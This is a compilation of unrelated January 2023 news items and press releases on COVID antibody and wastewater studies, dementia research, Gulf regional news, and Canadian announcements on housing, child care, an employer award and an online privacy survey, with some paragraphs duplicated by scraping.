After vaccination, the prevalence of antigen-specific IgG+ MBCs was the highest at 1.4 months before declining over the subsequent five to six months. Hexapro-NP vaccination induced high levels of IgG+ MBCs directed against the non-RBD area of the spike protein; however, there was no considerable difference among the RBD-specific IgG+ MBCs of Hexapro-NP and RBD-NP. Furthermore, SHM frequency increased from 1.4 months to five to six months before reaching a plateau at 12 months. Notably, the booster vaccination did not promote SHM further.

The vaccine comprising the Wuhan strain showed that the mean potency of neutralizing antibodies against the BA.1 and BA.4/5 lineages was remarkably lower than the Wuhan strain. Over 1.5 years, the frequency observed for SARS-CoV-2 Wuhan strain and BA.1 and BA.4/5 sublineages triple-neutralizing antibodies increased significantly, while the proportion of non-neutralizing antibodies decreased, indicating a development in neutralization breadth and potency.

Upon further examination of the consequences of this evolution, the team discovered that booster immunization considerably increased the average neutralization potency detected against the SARS-CoV-2 Wuhan strain and BA.1 sublineage. The researchers also noted an increase in the neutralizing breadth and potency of monoclonal antibodies within the memory B cell compartment.

The three most potent Omicron neutralizers, namely, 27A12, 27E3, and 21B6, competed against S2M11, the ultrapotent monoclonal antibody, which detects RBM-overlapping epitopes. Co-incubating the top four antibodies having the highest neutralization breadth, including 15F1, 25F9, 27E4, and 20A7, along with a SARS-CoV neutralizing antibody, like CR3022, or a pan-arbovirus neutralizing antibody, like S2X259, resulted in intense competition. This indicated that their binding epitopes are comparable.

Furthermore, 25F9 targeted a conserved area of the RBD wherein 23 to 27 of the total 28 epitope residues, which further explained the strong neutralizing efficacy of 25F9 against a wide spectrum of SARS-like viruses. Additionally, 20A7 showed effectiveness against all SARS-CoV-2 variants and SARS-CoV.

Conclusion

Overall, the study results highlighted the prophylactic protective efficacy of the most strong and broadly neutralizing antibodies, namely 20A7, 25F9, and 27A12, against four distinct SARS-related viruses. The researchers believe that the present study has provided 25F9 and 20A7 as two neutralizing antibodies having the highest neutralization potency, making them attractive prospects for treating sarbecovirus infection.

*Important notice: bioRxiv publishes preliminary scientific reports that are not peer-reviewed and, therefore, should not be regarded as conclusive, guide clinical practice/health-related behavior, or treated as established information.
People in the United States and England who have multiple cardiometabolic conditions such as diabetes and high systolic blood pressure are more likely to develop dementia than their peers who are relatively healthy, according to new research from the University of Surrey.

The study also found that people living in China have an increased risk of developing dementia if they have obesity and hypertension when compared to those in their country who are relatively healthy.

Dementia affects 55 million people worldwide and there is currently no cure, so prevention is key. Cardiometabolic conditions have been shown to increase likelihood of developing the syndrome due to their link with vascular, biological and neurodegenerative diseases, which might accelerate brain aging and cognitive decline. Understanding how cardiometabolic conditions are clustered and which particular combination of them leads to a greater risk of dementia across the world is important as such knowledge could help design tailored prevention strategies that target varying risk factors in different countries." Panagiota Kontari, Post-Graduate Researcher, School of Psychology, University of Surrey

In the first study of its kind, researchers from the University of Surrey investigated how co-occurring cardiometabolic conditions such as low/highdensity-lipoprotein (HDL) cholesterol, systolic and diastolic blood pressure (BP), hyperglycemia, diabetes, and inflammation interact with one another. They then looked at how different clusters of cardiometabolic conditions are associated with the risk of developing dementia in older adults across England, the US and China. Different clusters of cardiometabolic conditions predicted dementia in England and US as compared to China.

Analyzing data from over 18,500 participants, aged 50 and older in England, the US and China, researchers examined their cardiometabolic status and if they developed dementia later in life. Participants, based on their medical conditions, were divided into three distinct groups: relatively healthy/healthy obesity,' 'obesity-hypertension' and 'complex cardiometabolic' (those with a number of cardiometabolic conditions including low HDL cholesterol, central obesity, high systolic BP diabetes and high glucose). These groups acted as predictors for estimating the risk of developing dementia.

Researchers identified that across all three samples a total of 1,230 participants developed dementia (6.3 percent in the sample from the UK, 9.3 percent in the US, and 5.2 percent in China).

It was found that those from England and US with multiple cardiometabolic conditions had a higher risk in developing dementia, than those with a healthy cardiometabolic profile.

In addition, unlike their peers in England and US, participants in China had a higher probability of developing dementia if they had obesity and hypertension. Researchers believe this may be due to the prevalence of midlife obesity, hypertension and physical inactivity that has been increasing in the country as the result of the westernization of society and rapid economic growth in the last three decades, which has not led to an improvement in health care.

Dr Kimberley Smith, Senior lecturer in Clinical Health Psychology at the University of Surrey, said:

"In the UK and the US, complex cardiometabolic conditions are associated with higher rates of dementia incidence whereas in a Chinese sample a different cardiometabolic profile seems to be linked to an increased risk of dementia.

"This is an interesting preliminary result which we would need to see confirmed in other studies before making any concrete recommendations. This study indicates that we should carefully examine different patterns of risk for dementia across different countries rather than assuming that work conducted in so called WEIRD (white, educated, industrialized, rich and democratic populations) will generalize to other countries. It will be interesting for future work to examine this relationship in other global majority contexts."
Microglia are cells that are central to both brain health as well as disease progression in many neurological conditions. Normally, microglia stabilize the brain by clearing out damaged neurons and protein plaques often associated with dementia and other brain diseases. But there is growing evidence that microglia also play an early and constant role in tauopathy - a family of neurodegenerative disorders characterized by tau aggregation and neuronal loss.

Despite unequivocal evidence in humans that certain microglial functions are actively involved in the progression of neurodegenerative disease, the precise mechanisms governing microglia function in tauopathy are still not well understood. Genome-wide transcriptomic studies have identified immune pathways that indicate early and strong involvement of microglia in human tauopathy and in related mouse models. Deletion of microglial-specific genes or genetic ablation of microglial cells in mice have been useful approaches to dissect microglial-mediated mechanisms in disease models, but pharmacologic tools used to manipulate microglial function have been limited.

Recently developed small-molecule drugs targeting colony-stimulating factor-1 receptor (CSF1R) -- a receptor kinase critical for survival and proliferation of CNS microglia, peripheral tissue macrophages and blood myeloid cells  have been approved for clinical use for oncology purposes.

In a study published January 9, 2023 in Nature Communications, senior author Carlo Condello, PhD, assistant professor in the UCSF Department of Neurology and the Institute for Neurodegenerative Diseases, systematically tested CSF1R inhibition using multiple drug analogs at several time points in transgenic mice developing spontaneous tauopathy, and in an inoculation model of induced tauopathy.

The researchers demonstrated a reduction of tau pathology in multiple dosing schemes without complete microglial ablation. Drug exposure levels were correlated with the extent of tau-prion and microglial reduction, and unexpectedly, the researchers observed suppressed plasma biomarkers of neurodegeneration, rescue of aberrant behavior, and extended survival in female mice.

Despite greater drug exposure in male mice, only female mice had functional rescue and extended survival. A dose-dependent upregulation of immediate early genes and neurotransmitter dysregulation were observed in the brains of male mice only, indicating that excitotoxicity (causing cell damage) may preclude functional benefits. Drug-resilient microglia in male mice exhibit morphological and gene expression patterns consistent with increased neuroinflammatory signaling, suggesting a mechanistic basis for sex-specific excitotoxicity.

To my knowledge, this is the first demonstration of a sex-related difference in efficacy or therapeutic benefit, at least in any neurological indication. The targeted tau deposits were reduced equally in males and females, but CSF1R inhibition extends survival and rescues other functional deficits only in female mice, even though drug exposure is two times higher in males compared to females. We found that drug consumption is same, but the females are much more active so we speculate higher metabolism may play a role in this difference." Carlo Condello, PhD, Assistant Professor, UCSF Department of Neurology and the Institute for Neurodegenerative Diseases

CSF1R inhibition appears to preferentially eliminate these microglia in female mice, leaving the brain with a more quiescent and less inflammatory microglial population. In contrast, male mice showed a drug-induced, inflammatory microglial phenotype, which might contribute to neuronal excitotoxicity and diminished therapeutic effect.

In addition, the researchers questioned whether complete or continuous microglial ablation using CSF1R inhibitors was necessary, given the important and diverse roles these cells play in brain health and disease.

"The goal of our study was to define a therapeutic window that not only reduced pathological markers, but also led to functional improvement," said Condello. "Almost all other preclinical models were pushing the drug dose to wipe out all microglia, in effect, treating the cells as this binary thing that all are bad. In contrast, our study really points to the fact that we can ablate a fraction of those, only the tauopathy-activated cells, and still make therapeutic gains. We show that neither continuous dosing nor complete ablation of cells is necessary for efficacy and rescue.

However, Condello notes that therapeutics targeting microglia must consider sex-dependent effects. "While further investigation is needed to determine if similar sex dependent differences exist in humans, our study is perhaps the first to reveal sex-dependent biology caused by pharmacological intervention," said Condello.
The Vanderbilt Memory and Alzheimer's Center is recruiting individuals age 50 and older to participate in a study researching early drivers of Alzheimer's disease.

Established in 2012 by Angela Jefferson, PhD, professor of Neurology and founding director of the Vanderbilt Memory and Alzheimer's Center, the Vanderbilt Memory and Aging Project was among the first studies to research the long-term connection between heart health and brain health.

This is not just a professional passion for me, it is also quite personal. I know, having multiple family members affected by Alzheimer's disease, just how complicated this disease is  how frustrated and helpless you can feel. I want to be part of the solution to ensure that other families don't experience what my family went through." Angela Jefferson, PhD, Professor of Neurology and Founding Director of the Vanderbilt Memory and Alzheimer's Center

The Vanderbilt Memory and Alzheimer's Center needs to enroll at least 1,000 people age 50 and older -; particularly people of color who are disproportionally impacted yet historically underrepresented in research. Jefferson and her colleagues are hopeful that Alzheimer's could become a preventable disease in the future, if the underlying drivers of the disease are identified and targeted with an early treatment.

Study participants will need to come to Vanderbilt University Medical Center in Nashville, Tennessee, every two years for follow-up. Individuals from underrepresented racial and ethnic backgrounds are strongly encouraged to volunteer.

To get involved, people can visit https://www.vumc.org/vmac/joinstudy to complete an interest survey, or they can call the recruitment line at 615-875-3175.
In a recent study published in PLOS Global Public Health, researchers performed severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) surveillance in UK airports using wastewater monitoring.

Background

Air travel plays a significant role in spreading numerous enteric and respiratory infections worldwide, including coronavirus disease 2019 (COVID-19). Although travel limitations have been put into practice worldwide, asymptomatic or pre-symptomatic carriers of SARS-CoV-2 may transmit the virus.

To assess the SARS-CoV-2 infiltration rates across international borders, additional methodologies must be developed since the current clinical monitoring systems are still limited. One such method is wastewater-based epidemiology (WBE), which permits unbiased sampling of SARS-CoV-2 samples among passenger groups entering airports.

About the study

In the present study, the team explored sewage found in terminal and aircraft samples at three international airports in the United Kingdom for one to three weeks.

The team evaluated five sample concentration procedures on specimens spiked with SARS-CoV-2 and utilized the most effective approach on surveillance samples. As a process control, the SARS-CoV-2-spiked samples were split into three aliquot sets, further spiked with phi6 bacteriophage. Along with each sample batch, positive and negative process controls were also employed to assess cross-contamination and recovery efficiency. Each sample was subjected to two pre-treatments involving beef extract (BE)-sodium nitrate (NaNO3) and sodium chloride (NaCl) along with two concentration techniques involving ultrafiltration and polyethylene glycol (PEG) precipitation.

One of the aliquot sets was concentrated with PEG precipitation as well as ultrafiltration without any prior treatment. The second set was combined with sodium chloride. The samples were centrifuged to separate solids from the supernatant, which were subsequently PEG-precipitated to form NaCl/PEG, followed by ultrafiltration to form NaCl/Amicon. In the third set, sodium nitrate and beef extract were combined. Centrifugation and PEG precipitation of the samples resulted in the formation of BE-NaNO3/PEG samples.

Results

The BE-NaNO3/PEG precipitation approach demonstrated the highest virus recovery among the studied procedures, for the SARS-CoV-2 N1 gene fragment as well as the phi6 process control virus. Also, a Shapiro-Wilk normality test revealed that the data distribution for phi6, SARS-CoV-2, and crAssphage deviated remarkably from normality. A Kruskal Wallis rank sum test and Pairwise Wilcoxon tests showed that the BE-NaNO3 technique was significantly superior for SARS-CoV-2 and phi6 recovery and crAssphage. Therefore, the surveillance samples were treated with BE-NaNO3 prior to PEG precipitation.

The control virus was detected in the majority of samples; however, none of the vacuum truck samples from the Heathrow airport reported viral presence. The recovery rates of vacuum truck samples at the Bristol and the Heathrow central terminal area (CTA) sites were low. In a few instances, SARS-CoV-2 and crAssphage were found in samples with no Phi6 recovery, perhaps as a result of low spiking quantities.

Most wastewater samples collected from the three airports contained crAssphage deoxyribonucleic acid (DNA) and SARS-CoV-2 ribonucleic acid (RNA). The international terminal (JR)-1 Edinburgh airport samples displayed the lowest SARS-CoV-2 levels and detection rates. The remaining samples collected in Edinburgh tested SARS-CoV-2-positive, with the exception of one sample collected at the wastewater treatment plant (WWTP).

All samples collected at Edinburgh Airport reported high amounts of crAssphage. However, pumping station (P1), JR2, and JR3 sites exhibited much greater turbidity, ammonium levels, and electrical conductivity than WWTP and JR1 sites. No remarkable trends were noted in SARS-CoV-2 concentrations over time at any of the sites sampled.

At Bristol and Heathrow airports, all sewage samples obtained from the terminals tested SARS-CoV-2- and crAssphage-positive. At these locations, the amounts of ammonium and turbidity in the specimens were higher than those in the Edinburgh samples. The pH values of samples obtained at Bristol sites were also higher than at Heathrow and Edinburgh. Furthermore, there was no link identified between viral levels and chemical data.

The contents of vacuum trucks transporting airplane sewage were also examined for SARS-CoV-2 presence. At Bristol and Edinburgh, all samples tested SARS-CoV-2-positive, while at Heathrow, all except two samples tested positive. Also, crAssphage was identified in all vacuum truck samples obtained from Bristol and Edinburgh airports and 40% of those obtained from Heathrow airport. Additionally, the team found no link between the detection rates or levels of SARS-CoV-2 and crAssphage. Also, sample pH, orthophosphate levels, turbidity, and, in some instances, electrical conductivity were significantly greater than those of the other samples.

Conclusion

The study findings showed that WBE might be utilized as an effective surveillance technique for SARS-CoV-2 and other viral infections at airports to locate outbreak hotspots internationally and to evaluate trends in infection predominance. The study noted that even with extremely effective extraction techniques, airplane wastewater samples might contain solids and chemicals that diminish the likelihood of efficient virus detection.

The researchers believe regular sampling of aircraft and airport wastewater can serve as a focused surveillance method for novel illnesses and other agents not yet endemic to the country.
TDT | Manama

The Daily Tribune  www.newsofbahrain.com

His Majesty King Hamad bin Isa Al Khalifa expressed his pride in Bahrains defence staff and their competence, and noted their constant keenness to carry the out patriotic tasks entrusted to them with courage and determination.

HM the King, the Supreme Commander of the Armed Forces, hailed the efforts exerted by the Bahrain Defence Force (BDF) with determination and sincerity to preserve Bahrains successful progress achieved through the unity and solidarity of Bahraini citizens and wished them further success.

This came as His Majesty visited the General Command of the BDF yesterday.

Upon arrival, HM King Hamad was welcomed by the BDF Commander-in-Chief, Field Marshal Shaikh Khalifa bin Ahmed Al Khalifa, National Security Advisor, Royal Guard Commander, Major-General His Highness Shaikh Nasser bin Hamad Al Khalifa, Royal Guards Special Force Commander, Lieutenant-Colonel His Highness Shaikh Khalid bin Hamad Al Khalifa, Chief of Staff of the BDF, Lieutenant-General Dheyab bin Saqr Al Nuaimi, and senior BDF officers.

During the visit, HM the King was briefed on plans and programs for the development of various units and praised its steady progress in the fields of armament and training.

He lauded the good organisation of the graduation ceremony held under HMs patronage of the 15th batch of officer candidates Al Qadisiyah at Isa Royal Military College.

HM the King wished the graduates success in their patriotic duties alongside the valiant officers.

The Supreme Commander of the Armed Forces praised the programs and specialised courses of the BDF in all fields and military sciences at the hands of the best qualified trainers and through the latest advanced methods.

He also hailed exchanging experiences and expertise and enhancing competencies through joint military exercises regularly conducted with other countries.
Agencies | London

The Daily Tribune  www.newsofbahrain.com

Britain sanctioned more Iranian individuals and entities yesterday over the countrys brutal repression of its people, including a crackdown on anti-government protests, and the recent execution of British-Iranian dual national Alireza Akbari.

The sanctions included an asset freeze on Iranian deputy prosecutor general Ahmad Fazelian, who the British foreign office said was responsible for an unfair judicial system that used the death penalty for political purposes.

Those sanctioned today, from the judicial figures using the death penalty for political ends to the thugs beating protesters on the streets, are at the heart of the regimes brutal repression of the Iranian people, British foreign minister James Cleverly said in a statement.
Agencies | Kuwait City

The Daily Tribune  www.newsofbahrain.com

Kuwaiti Prime Minister Sheikh Ahmad Nawaf Al-Sabah yesterday submitted the resignation of his cabinet to the country's crown prince, state news agency KUNA reported.

Crown Prince Sheikh Meshal Al-Ahmad al-Sabah, who has taken over most of the emir's duties, last year named Sheikh Ahmad as premier and called early legislative polls after dissolving the previous parliament to end feuding that impeded fiscal reforms.

Tensions recently resurfaced between parliament and the government, sworn in last October, as lawmakers pressed for a debt relief bill, under which the state would buy Kuwaiti citizen's personal loans, and sought to question two ministers.

The prime minister submitted the government's resignation to the crown prince "as a result of what has become of the relationship between the executive and legislative authorities", KUNA cited a cabinet statement as saying.

Parliament had been scheduled to convene on Tuesday.

MP Shuaib Al Muwaizri, head of parliament's financial and economic affairs committee, had said in a Twitter post on Sunday that personal debt relief would remain on the table until the government "officially presents just alternatives" to increase wages, pensions and social assistance for Kuwaitis.
American Express Canada recognized for its best-in-class internship program, career growth and development programs and inclusive recruitment practices.

TORONTO, Jan. 24, 2023 /CNW/ - American Express Canada is proud to be named one of Canada's Top Employers for Young People by Mediacorp Canada Inc, an award for employers that demonstrate leadership and success in attracting and retaining young talent.

"We are proud to provide a welcoming and diverse environment for all colleagues at Amex Canada where they can bring their full selves to work, contribute their talents and strengths, while fostering lasting relationships," said Annette Kingsley, Vice President, Colleague Experience at American Express Canada. "We are a better company when each of us feels included and where diverse viewpoints can thrive. We are proud to support the next generation of leaders to build meaningful careers."

American Express Canada is proud to back colleagues with innovative programs and benefits that help them thrive personally and professionally:

Best-in-class internship program. Through the program, Amex Canada enables students to put their education to work on meaningful projects that have a real impact on the success of their teams and the business. Interns receive learning and development opportunities spanning the program, including a comprehensive onboarding experience, peer mentorship, an intern project providing them exposure to senior leadership, and intern-specific training sessions. The goal of this program is to provide full-time opportunities to new graduates by giving post-dated offers to top-performing interns in their final year of study.





Through the program, Amex Canada enables students to put their education to work on meaningful projects that have a real impact on the success of their teams and the business. Interns receive learning and development opportunities spanning the program, including a comprehensive onboarding experience, peer mentorship, an intern project providing them exposure to senior leadership, and intern-specific training sessions. The goal of this program is to provide full-time opportunities to new graduates by giving post-dated offers to top-performing interns in their final year of study. Inclusive hiring practices. Amex employs several practices that help the company attract and hire a diverse slate of incoming scholars that is representative of Canada's diverse population. This includes more objective terminology in job descriptions, leveraging skills-based hiring criteria, and reflecting Amex's commitment to DE&I in its recruitment marketing.





Amex employs several practices that help the company attract and hire a diverse slate of incoming scholars that is representative of diverse population. This includes more objective terminology in job descriptions, leveraging skills-based hiring criteria, and reflecting Amex's commitment to DE&I in its recruitment marketing. Flexibility. In 2022, the company launched Amex Flex, its new way of working model which provides flexibility for colleagues while preserving the important benefits of its in-person culture. Amex Flex has three designations  hybrid, onsite, and fully virtual  with hybrid offering the most variety to accommodate business and colleague needs.





In 2022, the company launched Amex Flex, its new way of working model which provides flexibility for colleagues while preserving the important benefits of its in-person culture. Amex Flex has three designations  hybrid, onsite, and fully virtual  with hybrid offering the most variety to accommodate business and colleague needs. Dedicated Colleague Networks. Amex's Colleague Networks play an important part in the culture of the company, building community, offering support, and fostering a sense of inclusion and belonging. They bring together people who share common experiences, interests, and backgroundsincluding disability, ethnicity, faith, gender, gender identity, generations, sexual orientation, and veteran status.

About American Express in Canada

American Express is a global services company, providing customers with access to products, insights and experiences that enrich lives and build business success. American Express was established in Canada in 1853 and offers a variety of consumer and business products. Learn more at americanexpress.ca and connect with us on Facebook , Twitter , YouTube and Instagram .

About Mediacorp Canada Inc. Founded in 1992, Mediacorp Canada Inc. is the nation's largest publisher of employment periodicals. Since 1999, the Toronto-based publisher has managed the Canada's Top 100 Employers project, which includes 18 regional and special-interest editorial competitions that reach millions of Canadians annually through a variety of magazine and newspaper partners. Mediacorp also operates Eluta.ca , one of Canada's largest job search engines, which reaches millions of job-seekers annually and features editorial reviews from the Canada's Top 100 Employers project.

SOURCE American Express Canada

For further information: Hailey Mackinnon, American Express Canada, [email protected]
BROOKS, AB , Jan. 24, 2023 /CNW/ - Today, two families in Brooks were presented with the keys to their new affordable homes, which they had helped build through Habitat for Humanity. Both families immigrated to Canada within the past twenty years to make better lives for themselves and contribute to the Brooks community.

The homes, each measuring 1,200 sq. ft, feature an open-concept kitchen and living spaces. One home features three bedrooms, 1.5 baths, while the other has five bedrooms and 2.5 baths.

Since 2019, the federal government has made a total funding commitment of $4,402,819 towards Habitat Southern Alberta projects including the Brooks project. This funding, made possible through the National Housing Co-Investment Fund, includes a Black Families Funding investment of $1,383,449.

The Habitat for Humanity model of affordable homeownership bridges a gap for people who face barriers to homeownership and would not otherwise qualify for a traditional mortgage. Local Habitat for Humanity organizations in every province and territory across Canada help build and rehabilitate decent and affordable homes, from single-family houses to multi-unit developments. With the help of volunteers and donors, Habitat helps families build their own homes and pay an affordable mortgage geared to their income. Safe, decent and affordable homeownership plays a critical role in helping families build a foundation for a life with better choices and more opportunities.

Quotes:

"Every Canadian deserves a safe and affordable place to call home. Our government is committed to providing housing for families here in Brooks and across the country. In partnership with Habitat Southern Alberta, two families now have a home they can afford and that meets their needs, where they will be able to put down roots and make valuable contributions to the economic and social prosperity of Brooks for many years to come. This is our government's National Housing Strategy at work."  The Honourable Ahmed Hussen, Minister of Housing and Diversity and Inclusion

"At Habitat for Humanity, we know that affordable home ownership is critical to building strong communities. That's why we're so grateful for the support of the federal, provincial and local governments, our local volunteer committee and the generosity of our sponsors, donors and partners. By bringing together all of the community, we are building homes where our families will thrive."  Gerrad Oishi, President and CEO, Habitat for Humanity Southern Alberta.

"Habitat for Humanity partners with families from coast to coast to coast, helping them access decent and affordable housing. Thanks to the support of CMHC through its National Housing Co-Investment Fund and Black Families Funding Initiative, we are able to serve even more families, including those experiencing racial barriers to homeownership."  Julia Deans, President and CEO, Habitat for Humanity Canada

Related links:

As Canada's authority on housing, CMHC contributes to the stability of the housing market and financial system, provides support for Canadians in housing need, and offers unbiased housing research and advice to all levels of Canadian government, consumers and the housing industry. CMHC's aim is that by 2030, everyone in Canada has a home they can afford, and that meets their needs. For more information, please visit cmhc.ca or follow us on Twitter, Instagram, YouTube, LinkedIn and Facebook.

authority on housing, CMHC contributes to the stability of the housing market and financial system, provides support for Canadians in housing need, and offers unbiased housing research and advice to all levels of Canadian government, consumers and the housing industry. CMHC's aim is that by 2030, everyone in has a home they can afford, and that meets their needs. For more information, please visit cmhc.ca or follow us on Twitter, Instagram, YouTube, LinkedIn and Facebook. To find out more about the National Housing Strategy, visit: www.placetocallhome.ca.

Under the Canada-Saskatchewan Bilateral Agreement, housing is a key priority in providing a better quality of life for Saskatchewan families and communities. Since 2007, the Government of Saskatchewan , through SHC, has invested $786 million to develop more than 12,000 housing units and repair nearly 5,500 homes. SHC has also invested more than $61 million to build nearly 300 units in residential care homes, and $430 million to improve provincially-owned housing. To learn more, visit www.saskatchewan.ca.

SOURCE Canada Mortgage and Housing Corporation

For further information: Brittany Hendrych, Office of the Minister of Housing and Diversity and Inclusion, [email protected]; Media Relations: Canada Mortgage and Housing Corporation, [email protected]; Jody Moseley, Vice President, Community Engagement, Marketing & Communications, Habitat for Humanity Southern Alberta, [email protected]
GATINEAU, QC, Jan. 24, 2023 /CNW/ - For too long, families have faced high child care fees, long wait lists and too few high-quality child care options. That is why the Government of Canada signed agreements with each province and territory to implement a Canada-wide early learning and child care system, giving children the best possible start in life and making life more affordable for families across Canada.

Today, the Minister of Families, Children and Social Development, Karina Gould, and Nunavut's Deputy Premier and Minister of Education, Pamela Gross, marked the one-year anniversary of the signing of the Canada-Nunavut Canada-wide Early Learning and Child Care Agreement.

As part of the agreement with the Government of Nunavut, the Government of Canada is providing $66.1 million over five years for licensed early learning and child care for children under age 6 in the territory. Through these investments, the governments of Canada and Nunavut are working together to improve access to high-quality, affordable, flexible and inclusive early learning and child care programs and services.

Nunavut is the first jurisdiction to achieve $10-a-day fees for licensed child care centres under the Canada-wide early learning and child care system. As of December 1, 2022, families in Nunavut with children under age 6 at licensed child care centres and licensed home day cares have access to child care for $10-a-day. Nunavut joins the Yukon and Quebec in providing families with regulated child care for $10-a-day or less.

This milestone was achieved a full 15 months ahead of the schedule set out in Nunavut's Action Plan, and more than three years ahead of the March 2026 federal goal for Canada-wide implementation. With $10-a-day child care, families in Nunavut could save up to $55 per day for each child in care, when compared to previous rates.

Nunavut continues to provide a recruitment and retention fund to all licensed child care centres, which supports wage enhancements for early learning and child care educators in approximately 283 current workforce positions. By March 2023, Nunavut will create a wage grid to support fair and transparent wages in child care and to incentivize advanced education and certification for early childhood educators.

Building an early learning and child care system that works for all families in every region of the country is a key part of the Government of Canada's plan to make life more affordable for families, while creating good jobs and growing the economy. All of Canada's provinces and territories without an existing $10-a-day system have announced reductions in child care fees.

Quotes

"As we mark the first year of our Canada-wide agreement with Nunavut, our governments can take pride in having delivered real savings to families in Nunavut. Through our work with the Government of Nunavut, high-quality, affordable, flexible and inclusive child care has become a reality in the territory, saving families hundreds of dollars each month. I'm looking forward to continued success as we build toward our ultimate goal of $10-a-day regulated child care everywhere in Canada."

 Minister of Families, Children and Social Development, Karina Gould

"We are very pleased to celebrate the anniversary of the Canada-Wide Agreement. Improving access to, and affordability of, child care in Nunavut means supporting families and improving the overall wellbeing of Nunavummiut. The agreement has allowed us to make tangible steps to advance the child care sector, meaning more parents and guardians are able to work, benefitting their families and contributing to Nunavut's economy. We are committed to continuing to work with our federal and Inuit organization partners to further develop the sector and support children, families, and our valuable child care workers now and into the future."

 Nunavut's Deputy Premier and Minister of Education, Pamela Hakongak Gross

Quick Facts

As part of Budget 2021, the Government of Canada made a transformative investment of more than $27 billion over five years to build a Canada -wide early learning and child care system with the provinces and territories. Combined with other investments, including investments in Indigenous early learning and child care, up to $30 billion over five years will be provided in support of early learning and child care.

made a transformative investment of more than over five years to build a -wide early learning and child care system with the provinces and territories. Combined with other investments, including investments in Indigenous early learning and child care, up to over five years will be provided in support of early learning and child care. Through previous investments in early learning and child care, the Government of Canada has helped to create over 40,000 more affordable child care spaces across the country.

has helped to create over 40,000 more affordable child care spaces across the country. Recognizing that early childhood educators are at the very heart of a high-quality, affordable, flexible and inclusive early learning and child care system, wage grids or additional training supports for early childhood educators are part of all Canada -wide agreements with provinces and territories, with the exception of Quebec , which has an asymmetrical agreement.

-wide agreements with provinces and territories, with the exception of , which has an asymmetrical agreement. To ensure that families across Canada have enduring access to affordable, inclusive and high-quality early learning and child care, the Government of Canada has recently introduced Bill C-35, which, if passed, would enshrine the principles of a Canada -wide early learning and child care system into federal law. This includes a commitment to maintain long-term federal funding for provinces, territories and Indigenous peoples to support the provision of early learning and child care under a Canada -wide system.

have enduring access to affordable, inclusive and high-quality early learning and child care, the Government of has recently introduced Bill C-35, which, if passed, would enshrine the principles of a -wide early learning and child care system into federal law. This includes a commitment to maintain long-term federal funding for provinces, territories and Indigenous peoples to support the provision of early learning and child care under a -wide system. Investments in child care will benefit everyone across Canada . Studies show that every dollar invested in early childhood education generates benefits ranging from $1.50 to $2.80 in return.

Associated Links

Toward $10-a-Day: Early Learning and Child Care

Canada  Nunavut Canada-Wide Early Learning and Child Care Agreement  2021 to 2026

$10-a-day child care for families in Nunavut

Follow us on Twitter

SOURCE Employment and Social Development Canada

For further information: For media enquiries, please contact: Mohammad Hussain, Press Secretary, Office of the Minister of Families, Children and Social Development, Karina Gould, [email protected]; Krista Amey, A/ Manager, Communications, Department of Education, Government of Nunavut, (604) 347-6015, [email protected]; Casey Lessard, Director of Communications, Government of Nunavut, 867-975-6004, [email protected]; Media Relations Office: Employment and Social Development Canada, 819-994-5559, [email protected]
Interac survey points to the moment of user sign-in as a critical opportunity for organizations to build trust online

TORONTO, Jan. 24, 2023 /CNW/ - Canadians are concerned with the lack of control they have over their personal information online. According to a new survey from Interac Corp., published during Data Privacy Week, nearly eight in 10 Canadians (76 per cent) are worried about protecting their online privacy, and seven in 10 (74 per cent) want more control over their online information.

The Interac survey identifies sign-in  the act of verifying your identity to access online services or activities  as a critical moment for organizations to build trust with their customers by giving them more control over their personal information. Over half of Canadians (53 per cent) believe organizations are primarily responsible for protecting their personal information, and nearly seven in 10 (69 per cent) would hold them accountable in the event of a data breach. Nevertheless, Canadians continue to sign in through services in which they report low levels of trust and confidence. For example, while six in 10 Canadians (58 per cent) say they use their social media accounts to log in to other online services, only one in 10 (11 per cent) trust these accounts to store their personal information.

"When customers sign in to an online service, they are putting their trust in that provider to keep their data safe," said Colette Stewart, Senior Legal Counsel and Privacy Lead at Interac. "As Canadians hold organizations accountable for the use and storage of data, entities of all sizes have an imperative to provide clear guidelines on how personal information will be used and to enable increased control for users when it comes to managing their privacy online."

With nearly seven in 10 Canadians (69 per cent) expecting to be able to access all government services online, there is a need for authentication options in both the public and private sector that protect personal information. This includes sign-in and verification solutions that leverage existing trusted credentials such as those held by financial institutions. Almost half of Canadians (49 per cent) support using their financial institution login details to verify their identity during the sign-in process, with nearly the same amount (50 per cent) reporting that it's tedious to set up a new username and password to access online services.

"Canadians want to be squarely in control of their personal information, including who can access it and when," said Giles Sutherland, Vice President of Business Development, Verification at Interac. "This is core to our philosophy and our approach to authenticating payments. Now, when Canadians verify themselves with Interac verification services, they benefit from security, convenience and control built from years of experience in delivering authentication for governments and businesses across Canada."

This Data Privacy Week, Interac encourages Canadian consumers, business, and governments to learn more about data privacy.

Further key findings from the Interac survey include:

Canadians concerned about use of data: Seven in ten Canadians (69 per cent) worry about how their personal information is being sold or transferred without their consent, highlighting the degree to which Canadians want more control over how organizations use this information. Only six per cent of Canadians feel their personal information is being used for its intended purpose, while most feel it's being used for nefarious reasons such as tracking their location (58 per cent), manipulating their beliefs (32 per cent), and stealing their identity (31 per cent).





Seven in ten Canadians (69 per cent) worry about how their personal information is being sold or transferred without their consent, highlighting the degree to which Canadians want more control over how organizations use this information. Only six per cent of Canadians feel their personal information is being used for its intended purpose, while most feel it's being used for nefarious reasons such as tracking their location (58 per cent), manipulating their beliefs (32 per cent), and stealing their identity (31 per cent). Risky behaviours put data at risk: While results indicate that most Canadians (78 per cent) are engaging in some good behaviors to safeguard their personal information, other habits persist. Nearly half of Canadians (49 per cent) have not changed their email password in the past year, while more than half (55 per cent) have used the same passwords across multiple websites.





While results indicate that most Canadians (78 per cent) are engaging in some good behaviors to safeguard their personal information, other habits persist. Nearly half of Canadians (49 per cent) have not changed their email password in the past year, while more than half (55 per cent) have used the same passwords across multiple websites. Not all sign-in methods are created equally: Only one per cent of Canadians found login credentials for social media accounts as the most secure way to sign in to online services. While many Canadians would be supportive of using their bank login to verify their identity when signing in to other services, only about two in five Canadians (37 per cent) have heard of using financial institution credentials to verify one's identity during sign-in. This figure suggests Canadians would benefit from more education on the role trusted credentials can play during sign-in.





